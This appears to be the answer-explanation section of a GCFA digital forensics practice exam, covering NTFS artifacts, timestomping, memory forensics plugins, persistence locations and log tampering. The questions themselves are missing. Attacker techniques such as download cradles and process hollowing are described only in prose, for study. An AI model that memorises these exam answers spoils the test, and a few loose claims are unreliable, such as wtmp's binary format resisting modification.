GIAC Certified Forensic Analyst (GCFA) — Questions 1–75

Prefetch files (.pf) store information about applications executed on the system, including last run times and loaded files. They can be used to determine when an executable was run, which can be correlated with file creation or modification times. This helps establish cause and effect, such as an application creating or modifying files after execution. Prefetch is a key artifact for timeline enrichment.

A key length of 0 in an NTLM authentication event is a strong indicator of NTLMv1 usage or a failure to negotiate session security. This is critical for forensic analysts because NTLMv1 is cryptographically weak, and its presence often signals that an attacker is attempting to downgrade the authentication protocol.

This approach correctly prioritizes containment (disconnecting the server) to stop further encryption and potential lateral movement, while also preserving volatile evidence (memory) for forensic analysis. It acknowledges the need to scope the incident before eradication and recovery, which is critical because the attacker may have compromised other systems or established persistence. This aligns with best practices for handling a ransomware incident with data exfiltration.

The hosts file is a common target for malware that redirects known domains to loopback or to attacker infrastructure to intercept or block traffic. Mapping banking domains to 127.0.0.1 is a classic pattern that prevents the real site from loading while potentially enabling credential theft via a local listener. The unexplained modification and recent timestamp justify immediate investigation.

The PEB is a user-mode data structure that contains essential information about a process, including the full command line used to launch it. Accessing this via memory forensics allows analysts to recover the exact execution path and any arguments passed to the malicious process, which are often missing.

Modification tracks content changes, Access tracks reading, Change tracks metadata updates, and Birth tracks file creation. These four points are essential for building a comprehensive view of file activity. By analyzing these, an investigator can determine if an attacker simply viewed a file or if they modified its contents.

The entry modified time (ctime) in NTFS, also known as the MFT change time, is updated whenever the file's metadata or MFT record changes, including permission modifications, ownership changes, or attribute updates. It does not change when only file content is modified (that updates mtime). Thus, ctime is the correct timestamp to capture metadata changes like permission alterations.

The legitimate parent of svchost.exe is services.exe, so a user Temp directory parent is a strong indicator of process injection, hollowing, or a masquerading loader. The command line matches a valid service host invocation, which an attacker would copy to blend in. Capturing a memory image of the process and checking loaded modules and thread start addresses is the appropriate next step.

The command uses IEX (Invoke-Expression) to download and execute a PowerShell script from a remote URL. This is known as a download cradle and is a classic fileless malware technique because the payload is not written to disk. The use of -W Hidden and -Exec Bypass further indicates an attempt to evade detection. Scheduled tasks are often used for persistence.

The policy only contains 's3:GetObject', which is a read-only permission. Any attempt to modify data requires 's3:PutObject' or similar write permissions. Since the policy does not include these, the AWS service will return an 'Access Denied' error for the unauthorized modification attempt, preventing the attacker from altering the files.

Windows disables last access time updates by default to improve performance. This behavior is controlled by the registry value NtfsDisableLastAccessUpdate, which is set to 1 by default in modern Windows versions. Therefore, the last access time is not updated when files are accessed, explaining why the analyst sees no recent timestamp.

User-mode tools modify the $Standard_Information attribute to hide execution or creation time. Because these tools cannot easily modify the $File_Name attribute—which is protected by the Windows kernel—the discrepancy emerges. This signature is a primary artifact used by responders to identify malicious file manipulation and temporal masking.

UserAssist stores a record of applications executed by a specific user through the Windows shell. It tracks the name, path, execution count, and the last time it was run. It is a highly reliable source for forensic analysts needing to prove that a user interacted with a specific piece of software.

Image File Execution Options (IFEO) is the correct registry location. Attackers can create a subkey named after a legitimate executable (e.g., notepad.exe) and set a Debugger string value pointing to their malicious binary. When the legitimate executable is launched, Windows starts the debugger instead, achieving persistence and execution. This matches the scenario.

Decoding the base64 string is the only way to reveal the underlying PowerShell script executed by the attacker. This allows the analyst to see the actual commands, identify the targeted actions, and determine the scope of the incident, which is essential for creating an effective remediation plan for the compromised host.

MFTECmd parses the $MFT and outputs both $STANDARD_INFORMATION and $FILE_NAME timestamps in a CSV or bodyfile-compatible format. This allows the analyst to compare the two timestamp sets and detect timestomping, which is exactly what the scenario requires.

SSDT hooking involves modifying the SSDT so that system service calls are redirected to malicious code. The SSDT normally contains pointers to legitimate kernel functions. If entries point to an unsigned module not in the loaded module list, it indicates that the table has been tampered with. This is a classic rootkit technique to intercept system calls and hide its activities, and it matches the observed evidence.

Moving a file across volumes creates a new entry with an updated creation time, while copying or direct metadata manipulation can force the modification time to an older value. Recognizing this behavior is essential because attackers often use tools to modify these attributes, attempting to blend malicious files into existing directory structures.

The object header is an essential kernel data structure that tracks reference counts and object types. Forensic analysts use this header to understand how the kernel is managing an object, which can reveal information about the object's origin, its protection state, and its current status in memory.

System files such as $MFT, $LogFile, and $Bitmap are integral to the NTFS file system and their timestamps can reveal significant events, such as when the MFT was last modified, when the log file was written, or when the volume bitmap was changed. These can indicate file system activity, including potential anti-forensic actions like timestomping or wiping. Including them in the timeline is essential for a comprehensive analysis.

windows.modscan scans kernel pool memory for module structures, which can reveal modules that have been unlinked from the active module list. This is exactly the technique needed to find a hidden driver that a rootkit has removed from PsLoadedModuleList. It can detect the malicious driver's residual metadata, making it a correct choice for this scenario.

When ext4 deletes a file, the inode's block pointers may remain until the inode is reused, but the blocks themselves are returned to the free pool. If those blocks are reallocated to another file and written, the original content is overwritten. In this scenario, the pointers now reference blocks owned by another inode, meaning the data is no longer intact and recovery of the original content is not possible from those blocks.

The $LogFile is a journal of transactions used by NTFS to ensure that the file system remains in a consistent state if a crash occurs. It tracks changes to metadata before they are finalized in the MFT, making it a critical source for investigating recent, volatile file system activity.

This combines multiple red flags: RWX permissions, an executable header, and no file backing. The absence of a file path in the VAD means the region is unbacked, which is highly suspicious. The MZ header indicates executable content, and RWX allows modification and execution. Together, these strongly suggest that malicious code was injected into the process's memory space, as legitimate modules are file-backed and typically not RWX.

The USN change journal records events with reason flags, including FILE_DELETE, which indicates a file was deleted. Each record includes the file reference number and timestamp, allowing analysts to correlate deletion events with other activity. This directly supports determining when and possibly how a file was removed.

Each subkey under HKLM\SYSTEM\CurrentControlSet\Services represents an installed service and contains values such as ImagePath (the executable path) and ObjectName (the account the service runs under). This is the primary location for service configuration, making it the correct choice for identifying the original path and account.

The POSIX namespace is used when a file name contains characters that are valid in POSIX but not in Win32, such as trailing spaces or periods. Such names can be used to hide files. The timestamp inconsistency between $STANDARD_INFORMATION and $UsnJrnl records suggests that the $STANDARD_INFORMATION timestamps may have been altered after the file's creation or last change, which is a common anti-forensic technique.

Snapshots provide a point-in-time, read-only copy of the disk data. This is a forensically sound way to preserve evidence without affecting the live production system. It ensures that the state of the evidence remains static, allowing responders to conduct detailed analysis without the risk of contaminating the original data.

A file is orphaned when its MFT record still exists, but the corresponding entry in the parent directory's index is missing or corrupted. This prevents the file from being visible in file explorers, making it a target for forensic recovery as it is essentially 'lost' to the OS.

NetFlow provides a detailed record of network traffic, including source and destination IP addresses, ports, and, most importantly, the byte count for each flow. This makes it an ideal source for calculating the exact volume of data exfiltrated and identifying where that traffic was directed across the network boundary.

Timestomping tools such as SetMace or PowerShell's Set-ItemProperty modify $STANDARD_INFORMATION because it is easily writable through the Windows API, but they frequently fail to update $FILE_NAME timestamps, which are only set during file creation or renaming. A large discrepancy where $FILE_NAME is older is a classic indicator of anti-forensic timestamp manipulation on NTFS.

The $SECURITY_DESCRIPTOR attribute is specifically dedicated to storing the ACLs for a file. It defines the owner, the group, and the permissions granted to various users, which is essential for understanding the access control landscape of the system during a forensic investigation into unauthorized activity.

This is correct because many timestamp manipulation tools, such as timestomp, target only the $STANDARD_INFORMATION attribute by default. The $FILE_NAME attribute timestamps are stored in the directory entry and are not always updated by such tools unless they specifically target them. Therefore, the discrepancy between the two sets of timestamps strongly suggests that the $STANDARD_INFORMATION values were altered, while the $FILE_NAME values may still reflect the original file creation or modification times. The investigator should prioritize the $FILE_NAME timestamps as more reliable in this scenario.

windows.netscan scans for network connection structures in memory, including TCP and UDP endpoints, and associates them with process IDs. It can reveal active and recently closed connections, making it ideal for identifying network activity from a memory image. This directly fulfills the requirement to list active network connections with process context.

The PowerShell Operational log (Microsoft-Windows-PowerShell/Operational) records detailed information about PowerShell execution, including script block logging (Event ID 4104) and engine state changes. If script block logging is enabled, the actual commands executed are captured, making this the correct artifact for determining the exact PowerShell commands used.

NTFS optimizes performance by simply marking MFT entries as available during deletion rather than zeroing out the data. This leaves the previous contents, including the FN attribute, intact in the record until a subsequent file creation operation overwrites it with new metadata, which is a core concept in forensic recovery.

Identical SIA timestamps combined with different FNA timestamps are a classic sign of timestomping, where an attacker sets $STANDARD_INFORMATION to a false date. The earlier FNA timestamps reflect when the file name was actually created. The absence of a Prefetch file further suggests the executable may not have run, or Prefetch was cleared, so the analyst cannot assume execution from these artifacts alone.

PID 4820 is initiating an outbound connection to 203.0.113.45 on port 443. This behavior is characteristic of command-and-control (C2) traffic, where a compromised host reaches out to an external server. Investigating this process is the most logical step to identify the malicious payload and determine the extent of the compromise.

A non-resident attribute means the data is located outside the MFT record in physical data clusters. The attribute header contains 'data runs' that describe the starting cluster and the number of clusters occupied, which are essential for manual file carving and data reconstruction.

Logon Type 3 confirms a network authentication (SMB, WMI, or similar), and Event 4672 is logged when a logon is assigned special privileges, here SeDebugPrivilege. The combination of an unexpected source subnet, a non-admin account name, and administrator-equivalent privileges indicates the account is being used with elevated rights from an unauthorized location, which warrants pivoting to the source host for further evidence.

Systematic probes across a large range of ports from a single source are the primary indicator of a port scan. Security analysts use this pattern to identify reconnaissance efforts, allowing them to block the offending IP address before the attacker can identify and exploit vulnerable services on the network.

Sysmon Event ID 3 records network connection events and includes the Image field (full path of the process executable) along with source/destination IP and port. This directly answers which executable initiated the connection to 203.0.113.45:443. If configured with adequate filtering, it captures this even when the process is short-lived, making it the most direct artifact for correlating a connection with an on-disk executable.

When a file is deleted on NTFS, the MFT record is marked inactive but the entry can persist until reused. Resident $DATA content may be zeroed by the deletion process or later activity, while $FILE_NAME metadata survives in the record. This supports establishing a deletion event in the timeline even though the file content is unrecoverable from the resident stream.

$FILE_NAME stores the name of the file and, crucially, the reference ID of its parent directory. This allows the OS to construct the file path and navigate the directory tree. Analysts use this to verify the file's location and identify potential discrepancies with the user-provided path.

Kernel structures are highly dependent on the specific OS version and kernel build. The profile tells the forensic tool the exact location and size of these structures, such as process lists and thread blocks, ensuring that the tool parses the memory image accurately without data misalignment errors.

The Linux Audit Framework is designed to record system calls, including the 'execve' system call. This allows it to capture the exact command-line arguments passed to any binary, providing a detailed record of what an attacker did. This level of detail is essential for identifying LotL activity on Linux hosts.

Using -EncodedCommand is a classic tactic to hide malicious PowerShell logic from simple string-based logging. Forensic analysts frequently encounter this in fileless attacks, where the script is base64-encoded and passed directly into memory, leaving no direct trace of the script file on the local file system.

The page file acts as backing store for virtual memory pages that are not currently resident in physical RAM. Forensic analysis often requires examining the page file to recover data that was swapped out, which is common for inactive or long-running processes that hold evidence of malicious activity.

The wtmp file is a binary log that records every login and logout event on the system. It is specifically designed for long-term audit purposes, making it the primary source for establishing a timeline of user access. Its binary nature ensures that it is not easily modified by standard users.

This policy, when enabled, adds the full command line to the Process Creation event. Without it, Windows records the new process ID and image name but leaves the command line field blank. Enabling it requires a Group Policy update or registry change and is not on by default even when process creation auditing is active.

Malware often names itself svchost.exe and places itself in user-writable directories like C:\Users\Public to appear legitimate. The parent being services.exe is likely spoofed or the malware was injected into a legitimate svchost process. The external connection on port 443 suggests command and control. This is a classic masquerading technique.

A legitimate lsass.exe should not have handles to arbitrary named pipes unless they are part of normal system operation. The presence of an unusual named pipe like 'evil' suggests code injection or a malicious module loaded into the process, allowing an attacker to communicate with it. This is consistent with credential dumping or persistence mechanisms.

windows.pstree walks the ActiveProcessLinks list and prints each process with its PID, PPID, image name, and offset, rendering an indented tree. This directly exposes parent-child relationships at capture time, letting you tie a suspicious child to the process that spawned it and, by cross-referencing windows.getsids or windows.cmdline, to the launching user context.

ctime (change time) is updated whenever the file's metadata changes, including permissions, ownership, or when the file is renamed. It is not the creation time. In this scenario, the analyst needs the time of metadata change, so ctime is the correct timestamp. It is stored in the inode and is crucial for tracking administrative changes.

Data breaches trigger strict regulatory obligations, such as GDPR or HIPAA notifications. Legal counsel is essential to navigate these requirements, ensuring that the company fulfills its disclosure duties correctly and in a timely manner. HR is necessary if employee discipline or internal policy enforcement becomes a component of the response.

Process hollowing involves creating a legitimate process in a suspended state, unmapping its memory, writing malicious code into the address space, and then resuming the process. This makes the malicious code appear to run under a legitimate process name, evading detection. The responder should look for discrepancies between the process's image on disk and its in-memory content, often using memory forensics tools like Volatility.

This option correctly identifies the technique: a scheduled task that runs a hidden PowerShell command to download and execute a remote script. This is fileless because the payload is not written to disk, and it provides persistence by running hourly. The use of 'IEX' (Invoke-Expression) and Net.WebClient is a common pattern for fileless attacks. The responder should investigate the remote server and check for other persistence mechanisms.

Scheduled tasks are defined in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache and also have corresponding files in System32\Tasks. Even if the executable is missing, the task definition persists. The attacker might have deleted the file to evade detection, or antivirus may have quarantined it. The responder should examine the task's XML definition, check for related registry keys, and remove the task if it is malicious to eliminate persistence.

A rename operation updates the $FILE_NAME attribute timestamps, including the modified time, to the time of the rename. The USN journal shows a rename at 09:54:00, but the $FILE_NAME modified timestamp is 09:55:00, which could reflect a slight delay or rounding. Later, at 10:00:00, the file's content was modified, updating the $STANDARD_INFORMATION modified timestamp. This sequence explains the 5-minute gap and is consistent with NTFS behavior.

When copying a file, the OS creates a new entry on the destination volume, setting a new birth time. However, many copy utilities and APIs preserve the original modification timestamp from the source file. This results in the metadata anomaly where the file appears to be 'modified' before it was 'born'.

windows.driverscan scans pool memory for DRIVER_OBJECT structures rather than walking the linked list of loaded modules, so it can surface drivers that have been unlinked from PsLoadedModuleList but whose objects remain allocated. This directly addresses the requirement of finding drivers missing from the on-disk module list and provides a cross-check against the modules plugin output.

The legitimate lsass.exe resides in C:\Windows\System32 and is digitally signed by Microsoft. A copy in C:\Windows\Temp is highly suspicious because system processes do not normally run from temporary directories. Verifying the digital signature and original location quickly confirms whether the file is the genuine Windows component or a masquerading malicious binary, making this the most direct first check.

APFS records a birth/added timestamp (crtime) in the inode, which represents when the file system object was created. It is the closest analog to NTFS $STANDARD_INFORMATION creation time and is the authoritative creation timestamp on APFS. Because APFS is copy-on-write and stores this value in the inode, parsing it directly yields the earliest credible creation time for the file, independent of later modifications.

Process hollowing involves creating a legitimate process in a suspended state and replacing its memory contents. The operating system maintains the PEB for legacy application compatibility, but the VAD tree manages the actual memory ranges mapped to the process. Mismatches here are a hallmark of process injection.

The windows.netscan plugin scans for network artifacts in memory, including TCP and UDP endpoints, and associates them with the owning process. It is designed to work across Windows versions and provides details such as local and remote addresses, ports, and process IDs. This directly meets the examiner's requirement to identify active network connections and their responsible processes.

Unloaded drivers can leave pool allocations and pool tags in memory even after their module entry is removed. Searching for the driver's known pool tags and comparing against the current module list can reveal remnants indicating the driver was present earlier. This technique leverages memory artifacts that persist beyond the driver's active lifetime, providing evidence of prior loading.

$LogFile is a write-ahead log that records metadata transactions before they are committed to the MFT. After a power loss, it can contain redo and undo records for incomplete operations, such as a file creation that updated the MFT but not the parent directory index. Examining $LogFile can reveal whether the orphaned record resulted from an interrupted transaction.

This is correct because timestomping tools typically modify the $STANDARD_INFORMATION attributes, which are easily accessible, while the $FILE_NAME timestamps in the MFT are less commonly altered. The discrepancy between the two sets of timestamps is a classic indicator of timestomping, especially when the $STANDARD_INFORMATION times are earlier than the $FILE_NAME times.

The $I file is a metadata file created alongside the $R file (which contains the actual deleted data) when a file is deleted to the Recycle Bin. It stores the original file path, the deletion timestamp, and the file size. Examining the $I file provides the original path and deletion time, directly answering the analyst's question.

Attackers frequently place DLLs in plausible-looking system directories and register them through rundll32 by export name so the payload executes inside a signed Microsoft binary. The author being a domain user who never logged on locally, combined with the DLL creation time matching the intrusion window, strongly supports a persistence mechanism rather than legitimate software installation.

netstat -antp displays active network connections, including TCP and UDP, with process IDs and program names. It is a standard tool for live response and provides a snapshot of current connections. Using the -p flag requires root privileges but is appropriate for forensic collection on a running system without causing disruption.

The $MFT file is the primary repository for all file metadata. It stores the file name, size, permissions, and data location for every object on the volume. Without the $MFT, the operating system would be unable to locate or manage files, and forensic analysis would be severely hindered.

Golden Tickets are often created with extremely long expiration times, sometimes years into the future. Monitoring ticket lifetimes is a highly effective way to identify forged TGTs, as standard Kerberos tickets have strictly enforced, short lifetimes defined by domain policies that a forged ticket would likely bypass or violate.

The EventLog service configuration, including which logs are enabled and their file paths, is stored in the SYSTEM registry hive under CurrentControlSet\Services\EventLog. Analyzing this key reveals if an attacker disabled logging or redirected log files. This is the authoritative source for logging configuration changes and should be examined early in the investigation to understand the scope of tampering.

When the Windows Event Log service clears a log, it writes Event ID 104 to the System log, recording which log was cleared and by which user. Even if the Security log itself is emptied, this System log entry persists unless the System log is also cleared, making it a reliable indicator of log tampering.